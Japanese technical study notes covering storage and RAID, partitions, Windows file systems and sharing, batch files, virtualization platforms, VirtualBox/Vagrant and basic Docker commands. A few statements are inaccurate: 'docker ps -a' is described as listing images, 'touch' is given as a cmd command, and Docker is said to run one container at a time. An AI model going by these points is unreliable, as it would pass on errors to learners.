4.1.2. 外部ストレージ

SANストレージ

SAN(Storage Area Network)ストレージはサーバと外部ストレージを専用ネットワークで接続して使用するストレージのこと。
一般的にファイバーチャネルで接続されるため高速なデータ通信が行える。

SANストレージではデータをブロックと呼ばれる単位に分割保存するのが一般的となる。

NASストレージ

NAS(Network Attached Storage)はLANネットワークを介して接続する外部ストレージのこと。
既存LANが導入に使用されるため導入コストがかかりづらいが、LANのネットワークに負荷がかかる可能性がある。

光学ディスク

光学ディスクはレーザ光を使用してデータの読み書きを行うストレージのこと。
代表的なものにはCD,DVD, Blue-Ray Discなどがある。

4.1.3. RAID

RAIDはストレージの信頼性を確保するためのテクノロジー。いくつか種類が存在する。
RAIDにはOSやミドルウェアを介して行うソフトウェアRAIDと、RAIDコントローラと呼ばれる専用のハードウェアで実現するハードウェアRAIDが存在する。

項目ソフトウェアRAIDハードウェアRAID
コンピュータへの負荷かかるあまりかからない

なおRAIDはHDD/SSD問わず構成できる。

RAID0(ストライピング)

RAID0は複数のディスクに分散してデータを書き込み1台のディスクのように扱うRAID構成

特徴は以下の通り。

  • データ消失が許されない用途には不向き
  • 書き込みのパフォーマンスが高い
  • ディスク容量をフル利用できる

RAID1(ミラーリング)

RAID1は複数のディスクに全く同じ内容を並列して書き込み扱うRAID構成。

特徴は以下の通り。

  • RAIDアレイを構成する1台がクラッシュしても、残りのディスクで復旧が可能
  • ディスクサイズが1台当たりのディスクサイズ以上にはならない

RAID4

RAID4はRAID0のようにストライピングの機能にエラー訂正用のパリティ情報を保存する専用ディスクを用意したRAID構成。
つまり最低3台のディスクが必要。

特徴は以下の通り。

  • データが保存されているディスクがクラッシュしてもパリティ情報から復旧できる
  • パリティ情報を保存するためパフォーマンスが良くない

RAID5

RAID5はRAID4と同じようにパリティ情報により冗長性を確保する構成でパリティ専用ディスクを使用しないRAID構成。
パリティ情報はデータと同様に複数のディスクに分散して保存される。
RAID5も最低3台のディスクが必要となる。

RAID6

RAID6はRAID5からパリティブロックの数を2倍にしたRAID構成。
RAID6では2台のハードディスクの故障に耐性があり、高い信頼性を実現できる。

RAID01(RAID0+1)

RAID0とRAID1のメリットを組み合わせたパフォーマンスと信頼性を同時向上させたRAID構成。
この構成では最低4台のハードディスクが必要になる。

現在はRAID01よりも、RAID10の方が使用される。

RAID10

RAID10はミラーリングされたディスクグループに対しストライピングを行うRAID構成。
耐障害性にかなり優れる。

4.1.4. ホットスペア

ホットスペアはRAID構成の中にデータを格納しない予備のディスクを事前に格納し、ディスク障害が発生した際に予備のディスクを使用するようにする構成のこと。

ホットスペアの用意によりディスク障害が発生したシステムを停止することなく、即座に元のRAID構成で動作させ続けることができる。

4.2. パーティションの基礎知識

4.2.1. パーティション

パーティションは物理的なストレージを独立したセクション(仮想的なドライブ)であるパーティションに分割する仕組みのこと。

メリット

  • データの整理管理が容易になる
  • セキュリティ強化につながる
  • バックアップとリカバリの効率化が行える
  • システムパフォーマンス向上

デメリット

  • 複雑な設定が必要になる
  • ディスクスペースの無駄が生まれる
  • フレキシビリティに制限が生まれる

4.2.2. パーティションの種類

プライマリパーティション

基本的なパーティション。 OSをインストールしブートするために使用される。

拡張パーティション

プライマリパーティションの制限を超えて追加のパーティションを用意するためのもの。 データを直接保存することはなく、複数の論理ドライブを格納するコンテナとして機能する

論理ドライブ

拡張パーティション内に作成されるパーティション。 通常のドライブとして利用できる。

EFIパーティション

UEFIシステムで利用される特別なパーティション。 システムファームウェアとOS間で通信するためのファイルが格納される。

MSRパーティション

Windowsがディスクの管理に使用する予約されたパーティション。 アプリやユーザのデータなどは通常格納されない。

4.2.3. Windowsにおけるパーティション作成と管理

パーティションの作成

  1. 「スタート」メニュから「ディスク管理」を選択
  2. 未割当領域の右クリック
  3. 「新しいシンプルボリューム」を選択
  4. 表示しに従い作成する

パーティションの管理

  • サイズ変更する場合。
    • パーティションを右クリック、「ボリュームの拡張/縮小」を選択
  • ドライブ名の変更
    • パーティションを右クリック、「ドライブ文字とパスの変更」を選択
  • フォーマット
    • パーティションを右クリック、「フォーマット」を選択

4.3. Windowsのファイルシステムと論理フォーマット

4.3.1. ファイルシステム

ファイルシステムはデータの保存/取得/更新を効率的に行うためのディスク上のデータ制御方式のこと。

4.3.2. Windowsのファイルシステムの種類

NTFS(NT File System)

Windows NTのリリースと同時に導入されたファイルシステム。 セキュリティ、信頼性と拡張性に優れている。 特徴は以下の通り。

  • 4GBを超えるファイルをサポート
  • ファイル/フォルダへのアクセス権制御
  • データの暗号化と圧縮対応
  • 大容量ディスクとファイルをサポート
  • ジャーナリング機能による高信頼性

FAT32(File Allocation Table 32)

FAT32は古いWindowsで使用されていたファイルシステム。 現在でも多くのデバイスでサポートしている。 特徴は以下の通り。

  • 4GB未満のファイルサイズをサポート
  • 幅広いデバイスへの互換性
  • シンプルな構造と修復性

exFAT(Extended File Allocation Table)

exFATは大容量USBドライブやSDカードなどのフラッシュメモリ向けのファイルシステム。 特徴は以下の通り。

  • 4GB以上のファイルサイズをサポート
  • ファイル数やディスクサイズに関する制限が緩い
  • FAT32より高速なデータ転送速度の提供

4.3.3. 論理フォーマット

論理フォーマットはストレージ上のデータを整理して新しいファイルシステムを作成すること。 これはハードドライブやUSBドライブなどのストレージを利用する際に必ず必要になる。

4.4. ファイルシステム機能

4.4.1. メタデータとアクセス権

メタデータはデータに関するデータでファイル作成日、最終更新日、所有者、サイズなどのデータのことで、 アクセス権は特定のユーザやグループがファイル/ディレクトリに対して持つ権限のこと。

またメタデータにはアクセス権も含まれている。

4.4.2. データの圧縮/暗号化

データの圧縮

データの圧縮はディスク上データのサイズを削減するためのデータを減らす技術のこと。 ストレージ容量の節約につながる。

データの暗号化

データの暗号化は不正アクセスやデータ漏洩に対する対策技術。 暗号化データは復号化キーがないと読み取ることができない

Windowsの暗号化にはEFSと呼ばれる機能により個々のファイルやフォルダを暗号化できる。 またBitLockerによるドライブ全体の暗号化も行える。

ADS

ADS(Alternate Data Streams)はWindows NTFSの固有のファイル属性のこと。 すべてのファイルには少なくとも1つのデータストリーム ($DATA) があり、ADSではファイルに複数のデータストリームを含めることができる。

デフォルトではWindow ExplorerはADSを表示しないが、PowerShellを用いることで表示できる。

4.4.3. ディスクのクォータ管理

ディスクのクォータ管理はディスクリソースの使用を監視し制限するための管理ツール。 Windows Serverにはこのクォータ機能が搭載されている。

4.5. 回復パーティション

回復パーティションはシステム障害やデータ損失時に元の状態に素早く戻すための機能。 通常、回復パーティションはハードディスクドライブやSSdの一部に確保され、ユーザは直接操作できないようになっている。

回復パーティションは以下の役割を持つ。

  • システムの正常な復元
  • 重要システムのバックアップ

4.5.1. Windows Serverの回復ツール

Windows Serverの回復ツールとしては以下のようなものがある。

  • システムの復元
  • バックアップと復元
  • 起動修復
  • システムイメージの回復
  • コマンドプロンプトによる回復

4.5.2. 回復パーティションの作成と使用

回復パーティションの作成

  1. 「ディスク管理」ツールを開く
  2. 対象となるボリュームを右クリック、「新しい単純ボリューム」を選択
  3. ウィザードに従い設定する

回復パーティションの使用

  1. システム再起動時に「F11」キーを押し回復モードの起動を行う
  2. 「トラブルシューティング」を選択し「高度なオプション」を選択
  3. 「システムの復元」または「システムイメージの復元」を選択

4.6. 記憶域移行サービス

記憶域移行サービスはWindows Serverの機能でデータの移行を簡単/効率的に行うツールのこと。 このサービスは既存サーバから新しいサーバへのデータ移行を簡易的に行うためのツールとなる。

特徴は以下の通り。

  • シームレスな移行
  • 様々なサーバに対する互換性(Linuxも対応)
  • GUIインターフェイス

4.7. 記憶域プール/記憶域スペース

4.7.1. 記憶域プール

記憶域プールは複数のディスクを束ねる機能。 この機能を使用する際は基本的に速度(rpm)の違うディスクを同じプールに入れてはいけないことが注意点としてあげられる。

プールに後からディスクを追加することも可能。

4.7.2. 記憶域スペース

記憶域スペースは記憶域プール上に作成される、仮想ディスクのこと。 以下の機能を提供する。

  • レイアウト * 記憶域プールに含まれる物理ディスク上の配置方法を決定できる(シンプル、ミラー、 パリティ)
  • プロビジョニング * 仮想ディスクを作成するときのサイズ指定方法(シンプロビジョニング、固定プロビジョニング)
  • ホットスペア * 他のディスクが故障した場合の代替ディスクとして動作させるディスク
  • 記憶域階層 * 記憶域プールにSSDとHDDが両方ある場合、ホットデータをSDDに、コールドデータをHDDにブロック単位で自動配置する機能
  • ライトバックキャッシュ * 記憶域プールにSSDが存在している場合に、ランダム書き込みのバッファとして利用する機能

4.8. 共有フォルダ

4.8.1. 共有フォルダの概要

Windowsにはファイル/フォルダ、プリンタなどのネットワーク資源を共有することができる機能がある。

共有フォルダ

共有フォルダでは同じネットワーク上の他のコンピュータからフォルダを参照できる。 設定方法は以下の通り。

  1. フォルダを右クリックしプロパティを選択
  2. 「共有」もしくは「詳細な共有」を選択し有効化する

共有フォルダへのアクセスは「\コンピュータ名\フォルダ名」のように指定し、子の指定方法はUNCと呼ばれる。

アクセス許可

アクセス許可は共有フォルダの参照許可を制御するもの。 アクセス許可には以下の2種類がある。

  • NTFSアクセス許可
  • 共有アクセス許可

ファイルサーバ

ファイルサーバは共有フォルダの機能を持つサーバのこと。

4.8.2. NTFSアクセス許可と共有アクセス許可

NTFSアクセス許可

NTFSアクセス許可はNTFS形式でフォーマットされたハードディスク上のフォルダ/ファイルに設定できるアクセス権のこと。 特徴として「読み取り権」「書き込み権」だけではなく「フォルダ内容の一覧表示」なども設定できる。

NTFSアクセス権では以下の設定が行える。

  • アクセス許可/所有権のフルコントロール
  • フォルダ/ファイルの削除
  • 読み取りと実行
  • フォルダ内容一覧表示
  • 読み取り/書き込み
  • 特別なアクセス許可の設定

共有アクセス許可

共有アクセス許可はネットワーク上の他のユーザに対するアクセス許可を設定する。 なお共有アクセス許可は共有アクセス許可フォルダが存在するコンピュータ上でログオンしたユーザには適用されない。

共有アクセス許可では以下の設定が行える。

  • アクセス許可のフルコントロール
  • 変更/読み取り

4.8.3. アクセス制御リスト(ACL)/アクセス許可エントリ(ACE)

アクセス許可エントリ(ACE)

アクセス許可エントリ(ACE)は「読み取り」「変更」といった権限をユーザやグループに対し設定することで生成されるもの。 ACEには種類があり、共有フォルダに設定するACEは随意アクセス制御エントリ(DACE)と呼ばれる。

アクセス制御リスト(ACL)

アクセス制御リスト(ACL)はACEが複数集まったものでユーザに対しファイルやフォルダにどの権限が与えられているかわかる一覧となる。

4.8.4. SMBの暗号化

SMBはファイルやプリンタ共有を使用する際のプロトコル。 Windows Server 2022から導入されたのは以下の2つのSMB暗号化の種類がある。

  • AES-256-GCM
  • AES-256-CCM

4.9. プリンタ管理

4.9.1. プリンタの種類

Windows Serverで管理するプリンタにはローカルプリンタネットワークプリンタの2種類がある。

ローカルプリンタ

ローカルプリンタはUSBを通し直接コンピュータに接続しているプリンタ

ネットワークプリンタ

ネットワークプリンタはLANなどのネットワークに接続されたネットワーク上の端末が使用できるように共有されたプリンタのこと。 ネットワークプリンタにはプリンタを直接ネットワークに接続する構成とネットワークに接続しているコンピュータにプリンタを接続し共有プリンタとする設定の2種類がある。

4.9.2. Windowsにおけるプリンタ管理

印刷ジョブ

印刷ジョブはこれから印刷される予定の書くドキュメントのこと。 印刷ジョブの管理には「デバイスとプリンタ」にて該当プリンタアイコンを右クリックし「印刷ジョブの表示」を選択する。

印刷キュー

印刷キューは印刷ジョブを一時保存する場所のこと。

印刷スプーラ

印刷スプーラはWindowsのバックグラウンドで実行されるプロセス。 印刷ジョブの開始、処理、分配を行う。

15.5 - 5.サーバ管理と監視

Windowsサーバの管理方法を死活監視について

15.6 - 6.コマンドプロンプトとbatファイル

cmdや.batに関する説明

6.1 コマンドプロンプトと基本操作

6.1.1. コマンドプロンプト

コマンドプロンプトはWindowsに標準搭載されているCUIのこと。
起動には以下方法で可能となる。

  1. win + rキーで「ファイル名を指定して実行」を起動
  2. 「cmd」と入力しEnter

なおコマンドの強制終了はctrl + cキーで可能。

環境変数

環境変数はシステムやアプリが参照する情報を格納する場所のこと。 %環境変数名%で表示される。 なお、環境変数一覧を表示するにはsetコマンドで可能。

環境変数名
%WINDIR%Windowsのインストールディレクトリ
%HOMEPATH%ユーザのホームディレクトリ
%PATH%コマンドサーチパス
%DATE%現在の日付
%TIME%現在の時刻
%ERRORLEVEL%直前実行したコマンドのエラーレベル

パスとディレクトリ

Windowsにおいてファイルやフォルダの場所はPATHという情報で管理される。 記法は以下の通り。

  • ドライブ名:\フォルダ名\ファイル名

なおパスに空白を含む場合"でパス全体を囲む必要がある。

絶対パスと相対パス

コマンド操作でファイルやディレクトリを指定する場合2つの方法がある。

  • 相対パス
    • 現在のディレクトリ位置からファイルやディレクトリを指定する方法
    • .: カレントディレクトリ
    • ..: カレントディレクトリの1つ上のディレクトリ
  • 絶対パス
    • ドライブ名からすべて指定する方法

コマンドプロンプトの終了

exitの入力とEnterで終了できる。

6.1.2. リダイレクト

リダイレクト

リダイレクトとはリダイレクト演算子という記号で標準出力をファイルへ出力できる機能のこと。 以下のようなものがある。

記号説明
コマンド > ファイル名ファイルに標準出力を書き込む
コマンド » ファイル名ファイルに標準出力を追記する
コマンド 2> ファイル名ファイルに標準エラー出力を書き込む
コマンド > ファイル名 2>&1標準出力に標準エラー出力をマージする
コマンド < ファイル名コマンド入力を指定したファイルから読み込む

6.1.3. パイプ

パイプ(|)はコマンドの実行結果を別のコマンドに引き渡す機能のこと。

6.1.4. ワイルドカード

ワイルドカードは特殊文字を使用して文字列を表現する方法の1つ。 Windowsでは以下のワイルドカードを使用できる。

  • *
    • 0個以上の任意の文字列を表す
  • ?
    • 任意の位置文字を表す

6.1.5. 基本的なコマンド

コマンド説明
cd ディレクトリディレクトリの移動
dirディレクトリ内のファイルフォルダ一覧表示
mkdirディレクトリ作成
copy コピー元 コピー先ファイルのコピー
del ファイルファイルの削除
rmdir ディレクトリディレクトリの削除
ren 元の名前 新しい名前名前の変更
type ファイルファイルの内容表示
doskey /hコマンド履歴の表示
cls画面のクリア
move ファイルの移動元 ファイルの移動先ファイルの移動
touch ファイル名ファイルの作成

6.2. batファイル

6.2.1. batファイルとは

batファイルはテキストファイルに実行させたいコマンドを順番に記述したもののこと。 拡張子としては「.bat」「.cmd」がある。

特徴として、条件分岐や繰り返し処理なども使えるため簡易プログラムとして使用できる。

6.2.2. batファイルの実行方法

batファイルは様々な方法で実行できるが、主に以下3つの方法が使用される。

  • 「.bat」ファイルのダブルクリック
    • 出力結果がそのままだと表示されない
  • コマンドラインからの実行
    • 「.bat」の入力の省略が可能
    • バッチパラメータを使用できる
  • タスクスケジューラによる実行
    • ファイルのバックアップbatファイルの作成などに便利
    • バッチパラメータが利用できる

6.2.3. batファイルの基本文法

以下の点に留意して記述を行う。

  • 1行に1コマンド
  • 大文字/小文字を区別しない
  • 一行当たりの最大文字制限はない
  • 空行は無視される

6.2.4. batファイル関連コマンド

batファイルで頻繁に使用されるコマンドを記載する。

echoコマンド

任意のメッセージを表示するコマンド。

@echo off

remコマンド

batファイルにコメントを入れるコマンド

rem コメント

setコマンド

batファイル内で任意の環境変数を設定できるコマンド。 なお、batファイル内で設定した環境変数はbatファイル内で一時的に有効になる

set 環境変数名=

6.2.5. batパラメータ

batパラメータは%[数字]で示されるパラメータで、batファイルに渡す引数として利用できる。

6.3. batプログラミング

batプログラミングは、batファイルの命令制御を利用した簡易的なプログラミングのこと。 特殊なコマンドを使用すると、通常は上から下に向かって実行されるbatファイルが、「一行飛ばす」「繰り返し処理」「上の行に戻る」などを利用することができる。

6.3.1. batプログラミングのコマンド

ifコマンド

条件分岐ができるコマンド。

if CONDITION (
    REM 条件が真の場合に実行するコマンド
) else (
    REM 条件が偽の場合に実行するコマンド
)

詳細はコチラ

forコマンド

繰り返し処理ができるコマンド。

for %%VAR in (SET) do (
    REM ループ内で実行するコマンド
)

gotoコマンド

:[ラベル名]で定義したラベル部分へジャンプできるコマンド。

goto LABEL

:LABEL
REM ラベルの行から始まるコマンド

pauseコマンド

batファイルの実行を一時停止できるコマンド。

shiftコマンド

batパラメータを左シフトするコマンド。

callコマンド

batファイルの中から他のbatファイルを呼び出すコマンド。

16 - OS仮想化技術基礎

OSの仮想化技術(Hyper-V, Docker, kubernetes, LXC, ProxmoxVE)などに関して

16.1 - OS仮想化技術の基礎

OSの仮想化技術の基礎に関する説明

1.1. OS仮想化とは

仮想化とは1台の物理的なハードウェアの中に仮想化ソフトウェアを稼働させることで複数の仮想的なハードウェアを隔離し、個別のOSを動作させることを指す。

仮想化のメリットは以下の通り。

  • 用意する物理マシンを減らすことができる
  • 物理的資源の管理にかかる手間が省ける
  • リソースの配分も状況に応じて柔軟に設定できる

1.1.1. ホストOSとゲストOS

ホストOSは仮想環境を提供するプログラムを動作させる基盤のことで、ゲストOSは仮想環境上で動作するOSのことを言う。
ホストOSはハイパーバイザーとも呼ばれる場合がある。

1.1.2. 仮想化基盤の種類

仮想サーバは仮想化基盤により仮想化されたサーバのことを言う。
仮想化されたサーバでは1つの物理サーバ上に複数の異なるOSを動かすことができる。

仮想化基盤にはハイパーバイザ型ホスト型コンテナ型がある。

仮想化基盤

ハイパーバイザ型

ハイパーバイザ型

ハイパーバイザは仮想化のためのOSのようなものを指し、サーバにインストールし、そのOSの上で仮想マシンを稼働させるのが特徴となる。
ハイパーバイザー型はホストOSが不要な仮想化基盤であり現在は主流の基盤となっている。

ホストOSを必要としないためハードウェアを直接制御することができ仮想マシンの速度低下を最小限に抑えることができる
また特徴としてはライブマイグレーションが可能なことがある。(他のハイパーバイザーで稼働している仮想サーバに瞬時に機能を移動させる機能)が

有名なものにはVMware ESXI、KVM、XeN、Hyper-Vなどがある。

  • メリット
    • ホストOSが不要でハードウェアの直接制御が可能
    • システム全体から見るとリソース使用効率が良い
    • 管理サーバの台数の削減が見込める
  • デメリット
    • 仮想化環境の高度な管理を実現するツールが標準でない場合がある
    • ハードウェアのスペックが低かった場合は処理能力不足となる

ホスト型

ホスト型はハードウェアの中にOS上に土台となる仮想化ソフトウェアをインストールし仮想化ソフトウェアで仮想マシンを稼働させるのが特徴。
この環境では仮想化ソフトウェアを動作させるのでハードウェアにかかるリソースは余計に消費をしやすい。 そのため本番環境には適していないため検証環境/実験環境によく使用される

ホスト型の仮想化ソフトウェアにはVMware Workstation Player、VirualBoxなどがある。

  • メリット
    • 既存マシンを維持したまま仮想化ができる
    • テスト環境の作成に便利
  • デメリット
    • 仮想マシンの実行速度がほかの方式より遅い
    • ホストOSに物理リソースが必要
    • ゲストOSの本格運用には処理速度が限定的

コンテナ型

コンテナ型では「アプリケーションを実行するための領域」であるコンテナの実行環境を仮想化するのが特徴。
つまりコンテナ型ではアプリケーション実行環境を仮想化していると言える。

有名なものにはDocker、LXCがある。

  • メリット
    • 必要最小限のCPUやメモリしか使用しないので負荷が小さく高速な動作が実現可能
    • コピーも簡単なので作業時間の大幅な短縮が可能
    • 開発と運用の相性がよい
  • デメリット
    • 複数のホストでのコンテナ運用が煩雑になる
    • カーネルを他のコンテナと共有するため個別に変更できない

1.2. 仮想化基盤のプラットフォーム/製品

1.2.1. ハイパーバイザ型

VMware vSphere/ESXI

VMware vSphere/ESXIはVMware社が提供するハイパーバイザ型仮想化プラットフォーム。
vSphereにより、大規模な仮想化環境の管理が容易になり、冗長性や拡張性が向上する。

項目VMware ESXIVMware vSphere
役割ハイパーバイザー型仮想化プラットフォーム。仮想マシンの作成、実行、管理を担当する。VMware ESXiハイパーバイザーを基盤にした仮想化プラットフォームの管理および拡張機能を提供する
概要ESXiは高いパフォーマンスとセキュリティを提供し、さまざまなオペレーティングシステムをサポートしている仮想化環境の中央管理、クラスタリング、バックアップ、監視、セキュリティ、およびリソース管理などの高度な機能を提供する管理ツール

Proxmox VE

Proxmox VEはの仮想化とコンテナ仮想化を統合したOSSのハイパーバイザ型仮想化プラットフォーム
中小規模から大規模な仮想化環境を構築し、管理するのに適している。

特徴は以下の通り。

  • KVMハイパーバイザーベース
  • LXCコンテナのサポート
  • Webベースの管理インターフェイス
  • コミュニティバージョンあり

Hyper-V

Hyper-VはMicrosoftのハイパーバイザ型仮想化プラットフォームでWindows上で動作する。
またHyper-Vはサーバー仮想化のために設計されている。

特徴は以下の通り。

  • Hyper-Vマネージャーを使用して仮想マシンの管理が行える
  • スナップショット機能

XenServer

XenServerはOSSの仮想化プラットフォームであるXenをベースにしたハイパーバイザ型仮想化プラットフォーム。
クラウド環境での使用に適しているためクラウドプロバイダーやデータセンター環境で使用される。

特徴は以下の通り。

  • Xenハイパーバイザーベース
  • 高可用性とクラスタリング
  • コミュニティバージョンあり
  • クラウド基盤への対応

KVM

KVM(Kernel-based Virtual Machine)はLinuxカーネルをハイパーバイザーとして動作させるハイパーバイザ型仮想化プラットフォーム。
動作にはIntel VT や AMD-V のようなハードウェア仮想化拡張を持つプロセッサが必要という特徴がある。 またフルバーチャル化とパラバーチャル化の両方の仮想マシンを実行可能。

KVMはLinux、Windows、Haiku、OS Xなど多くのゲストOSにハードウェア支援型の仮想化を提供している。

Xen

XenはLinux FoundationとIntelにより開発されたハードウェア上で直接実行されるタイプの仮想化技術。 XenではゲストOSをパラバーチャル化することができるため、ゲストOSがハードウェアリソースに直接アクセスできる
そのためパフォーマンスが高い。

1.2.2. ホスト型

VirtualBox

OSSのホスト型の仮想化ソフトウェア。
Windows、Linux、macOSなどのホストOSで動作し、さまざまなゲストOSをサポートする。

以下の機能をサポートしている。

  • 仮想ディスクイメージのサポート
  • スナップショット機能
  • 仮想ネットワーク機能

VMware Player

VMwareが提供するホスト型の仮想化ソフトウェア。
Windows、Linux、macOSなどのホストOSで動作し、さまざまなゲストOSをサポートする。

1.2.3. コンテナ型

Docker

Dockerはアプリケーションコンテナを作成、管理、およびデプロイするためのOSSのプラットフォーム。 DockerではDockerイメージと呼ばれる再利用可能なコンテナテンプレートを使用し、これらのイメージをコンテナとして実行する。

コンテナは非常に軽量で、高速に起動でき、オーバーヘッドが少ないため、開発、テスト、デプロイメントなどに使用できる。 またDockerコンテナはLinuxおよびWindowsベースのホストOSで実行できる。

Dockerはアプリケーションコンテナを中心に設計されている

LXC

LXC(Linux Containers)はプロセス間の仮想化技術を使用して軽量な仮想環境を提供するOSSプラットフォーム
LXCコンテナは、ホストOSのリソースを共有し、カーネルを共用するため、他のコンテナに比べて比較的軽量となる。

またLXCはアプリケーションを隔離し、リソースを分割するための環境を提供し、システムレベルの仮想化を実現している。 LXCはOSレベルでの分離に使用される。

1.3. その他の仮想化ツール

1.3.1. コンテナ管理/オーケストレーションツール

Kubernetes

Kubernetes(k8s)はコンテナ化されたアプリケーションのデプロイ、スケーリング、管理、およびオーケストレーションするためのOSSプラットフォーム
アプリケーションコンテナを効果的に管理するために、クラスタリング、自動スケーリング、セルフヒーリング、サービスディスカバリ、ロードバランシングなどの機能を提供する。

Kubernetesのマニフェストファイル(YAML形式)を使用して、アプリケーションのデプロイと管理を定義する。
Kubernetesは大規模なコンテナオーケストレーション環境/複雑なマイクロサービスアーキテクチャを構築するために使用される。

Podman

Podmanはコンテナを管理するためのCLIツール
PodmanはシンプルでDockerと互換性があり、コンテナをビルド、実行、管理するためのコマンドを提供している。

Podmanはよりシンプルで個別のコンテナの管理に適している。

1.3.2. クラウド基盤構築ツール

OpenStack

OpenStackはOSSのクラウド基盤を構築するためのツールとプロジェクト
具体的には各種ハイパーバイザ(KVM/Xen/VMware Serverの無償製品版であるESXi/Hyper-Vなど)と組み合わせ、クラウドサービスの環境を構築することができる。

OpenStackを用いることでプライベートクラウド、パブリッククラウド、ハイブリッドクラウドなどが構築できる。

CloudStack

CloudStackはOSSのクラウド基盤を構築するためのツールとプロジェクト
シンプルな構成のクラウド環境の構築に適している。

16.2 - VirtualBox/Vagrant基礎

ホスト型仮想化のVBoxとVagrantの説明

2.1. VirtualBox

2.1.1. VirtualBoxとは

VirtualBoxはホスト型の仮想化ソフトウェア。 ホスト型ではVMは仮想化ソフトウェア上で仮想化される

2.1.2. VirtualBoxのネットワーク設定

ネットワーク設定ごとに通信が可能な方向は以下の通り。

種類ゲストOS=>ホストOSホストOS=>ゲストOSゲストOS=>外部外部=>ゲストOSゲストOS同士
NAT×××
ホストオンリーアダプタ××
内部ネットワーク××
ブリッジアダプタ
NATネットワーク××

NAT

ゲストOSがホストOSの外部 (インターネットなど) にアクセスするために利用する。 内部的にはホストOSのルーティングにより接続される。

ホストオンリーアダプタ

ホストオンリーアダプタは、ゲストOS-ホストOS間、ゲストOS間の通信を実現するネットワーク。 内部的にはホストOSの仮想アダプタを開始接続される。

ブリッジアダプタ

ブリッジアダプタではVMがホストPCとは完全に独立しているかのように振舞える。 ホストOSの物理アダプタを経由して接続される。外部アクセス可能

外部からVMに直接アクセスできる

NATネットワーク

VirtualBox内に内部ネットワークが形成される。 なおNATネットワークでは使用する前に事前にネットワーク名やサブネット情報を設定する必要がある。

内部ネットワーク

VirtualBoxがスイッチのように機能する。ゲストOS同士のみ接続可能

2.2. Vagrant

2.2.1. Vagrantとは

Vagrantは仮想マシンの構築設定などをRuby言語で記述し構築できるツール。言い換えると仮想マシンなどを簡単に構築/操作するためのソフトウェア。

VirtualBoxやVMwareを直接操作せずともエージェントで操作可能となっており、記述はvgarantfileに行う。

利用できるイメージはコチラから。

2.2.2. Vagrantの基本コマンド

以下に、Vagrantを使用してVirtualBoxを対象とする基本的なコマンドを以下に示す。

vagrant init <イメージ名> # イメージを基に初期化

vagrant box list # イメージの確認
vagrant box add <イメージ名> # イメージの追加(local)
vagrant box remove <イメージ名> # イメージの削除(local)

vagrant up # イメージのデプロイ(デフォルトでは1イメージあたり1GBメモリ割り当て)
vagrant status # イメージの状態確認
vagrant global-status # イメージの状態確認(どのディレクトリでも使用可能)
vagrant ssh <host名> # 仮想マシン接続
vagrant up <host名> # 仮想マシンの起動/再開
vagrant halt <host名> # 仮想マシンの停止
vagrant destroy <id> # 仮想マシンの削除

16.3 - Docker基礎

コンテナ型仮想化のDockerに関する解説

Docker入門

DockerはDocker社が開発しているコンテナ型仮想化技術を実現するためのプラットフォームの1つ。

DockerではホストOSの上に動作しているDocker Engineからコンテナと呼ばれるミドルウェアの環境構築がされた実行環境を作成し、その中でアプリケーションを動作させる。
そのためホスト型やハイパーバイザ型の仮想化よりも圧倒的に軽量に動作する特徴がコンテナ型仮想化技術にはある。

Dockerを使う最大のメリットは以下の通りです。

  • ソフトウェアの実行環境が複雑なアーキテクチャであっても、Dockerを使って管理することで簡単にどんなマシン上でも共有できる(誰でも同じ環境が作れる)
  • 作成した環境を配布しやすい
  • スクラップ&ビルドが容易にできる

Docker(コンテナ型)とハイパーバイザ型の仮想化の違い

Dockerは1度に1つのコンテナしか操作できないため、同時に複数のコンテナを操作したい場合はDocker-Composeを用います。
複数のDockerコンテナを定義し実行するができる特徴があります。

LinuxにおいてはDLや作成したdocker imageはデフォルトでは /var/lib/docker/ 配下に保存される。

参考資料

名称URL
Dockerイメージ内のコードを直接編集する方法https://blog.yfsakai.com/posts/2021-08-16-change-code-in-docker-image-directly/

1. Dockerの基本知識

各OSへのDockerのインストール方法や起動方法の説明は割愛します。

1.1. 動作確認コマンド

docker version #インストールされたDockerのバージョンを確認する
docker ps #動作しているコンテナを確認する
docker ps -a #取得済みのイメージを一覧表示する
docker images #ダウンロードしたDockerイメージを一覧表示する
docker rmi イメージID #dockerイメージの削除

1.2. 基本コマンド

Dockerコンテナ作成用コマンド

docker run コンテナ名 #コンテナを起動状態で作成するコマンド
docker create コンテナ名 #コンテナを停止状態で作成するコマンド

その他の基本コマンド

docker search [OPTIONS] 
#イメージ名//キーワードからオンライン上のDockerイメージを探す
 
docker pull [OPTIONS] 
#イメージ名:[TAG]//イメージをダウンロードする
 
docker images [OPTIONS]
#// ダウンロードしたDockerイメージを一覧表示する
 
docker inspect [OPTIONS] 
#イメージID//イメージを確認する
 
docker rmi [OPTIONS] 
#イメージID//イメージを削除する
 
docker history [OPTIONS] 
#イメージID//ヒストリーを確認する

コンテナに関するコマンド

docker run [OPTIONS]  イメージ名[:TAG] [ARG]
#コンテナを起動する 
 
docker ps [OPTIONS]
#稼働コンテナを一覧表示
 
docker stop [OPTIONS]  コンテナID
#コンテナを停止する
 
docker kill [OPTIONS]  コンテナID 
#コンテナを終了する
 
docker rm [OPTIONS]  コンテナID
#コンテナを削除する
 
docker restart [OPTIONS]  コンテナID
#コンテナを再起動する

その他のコマンド

docker info
#システム情報を表示する

docker help
#ヘルプを表示する

オプション

-d #:バックグラウンドで実行

–name #コンテナ名:コンテナに名前をつける

-v #:ホストとコンテナ間でディレクトリやファイルを共有する

–rm #: コンテナ終了時にコンテナを削除するため、コマンドを試したい時にオススメ

-a #:停止中のコンテナまで含めて表示する

–filter “status=exited” #:停止中のコンテナのみ表示するオプション。

-i #: コンテナの標準入力を開くことができ、コマンドが打てる

-t #: ttyを利用する

#上記2つを合わせて、-itとすることが多い

1.3. 基本操作

Dockerコンテナの起動方法

  1. Docker-compose.ymlのあるディレクトリ(Dockerコンテナ構成のルートディレクトリ)に移動し以下コマンドを実行
docker-compose build
  1. 以下コマンドを実行することでdocker projectが生成されバックグラウンドで起動する(オプション等要注意)
# -d オプションをつけることでバックグラウンドで container が稼働するようになります。
# -d をつけないとメインスレッド処理となってしまうため注意しますしょう。
docker-compose up -d

1.4. Docker基本ファイル

1.4.1. Docker-Compose.yml

Docker-Compose.ymlはDocker Projectで作成する container と Host OS の関連付け、 つまりcontainer の初期設定を定義するファイルです。

サンプル

version: '3.3' # Docker-Compose.yml を実行するにあたっての docker build の version 指定

services: # コンテナを定義する親要素
  app:
    container_name: sample_web_app # コンテナ名の設定
    build: ./docker/app # DockerFile の参照先
    volumes: # HostOS のディレクトリやファイルとコンテナ内でシンボリックリンクを繋げる
    - ./www:/var/www
    networks: # ローカルネットワークにおける IP アドレスの指定
      web_segment:
